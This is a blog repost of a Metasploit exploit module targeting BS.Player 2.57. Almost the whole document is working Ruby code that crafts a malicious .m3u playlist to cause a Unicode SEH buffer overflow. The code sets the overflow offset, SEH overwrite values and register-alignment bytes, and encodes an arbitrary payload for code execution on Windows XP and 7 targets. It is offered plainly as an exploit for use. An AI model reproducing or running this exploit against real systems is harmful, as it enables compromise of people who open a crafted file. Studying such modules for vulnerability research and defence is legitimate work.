BS.Player 2.57 Buffer Overflow (Unicode SEH)

[+] Post Title :

BS.Player 2.57 Buffer Overflow (Unicode SEH)

[+] Date : Rabu, 01 Februari 2012
[+] Author : Dr. Cruzz
[+] Link : http://xcruzz.blogspot.com/2012/02/bsplayer-257-buffer-overflow-unicode.html
[+] Type : Exploit

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)',
'Description' => %q{
This module exploits a buffer overflow in BS.Player 2.57. When
the playlist import is used to import a specially crafted m3u file,
a buffer overflow occurs allowing arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'C4SS!0 G0M3S ', # Original Exploit
'Chris Gabriel', # MSF Module
#Greets: Corelan team for mona.py & awesome tutorials
],
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/15934/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
#'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00\x0a\x0d\x1a\x80",
'DisableNops' => true,
'StackAdjustment' => -3500,
},

'Targets' =>
[
[ 'Windows XP',
{
'Ret' => "\x2f\x49",
'Offset' => 4102
}
], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)

[ 'Windows 7',
{
'Ret' => "\x2f\x49",
'Offset' => 4102
}
], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)
],
'Privileged' => false,
'DisclosureDate' => 'Jan 07 2010',
'DefaultTarget' => 0))

register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),], self.class)

end

def exploit

nseh = "\x61\x42"

align = "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x58" # POP EAX
align += "\x6d" # PAD
align += "\x50" # PUSH EAX
align += "\x6d" # PAD
align += "\xc3" # RET

if target == targets[0] then
padding = rand_text_alpha_lower(1879)
elsif target == targets[1] then
padding = rand_text_alpha_lower(1931)
end

enc = framework.encoders.create('x86/unicode_mixed')

register_to_align_to = "EAX"

enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })

unicodepayload = enc.encode(payload.encoded, nil, nil, platform)

buffer = "http://"
buffer << rand_text_alpha_lower(target['Offset'])
buffer << nseh
buffer << target['Ret']
buffer << align
buffer << padding
buffer << unicodepayload

file_create(buffer)

end
end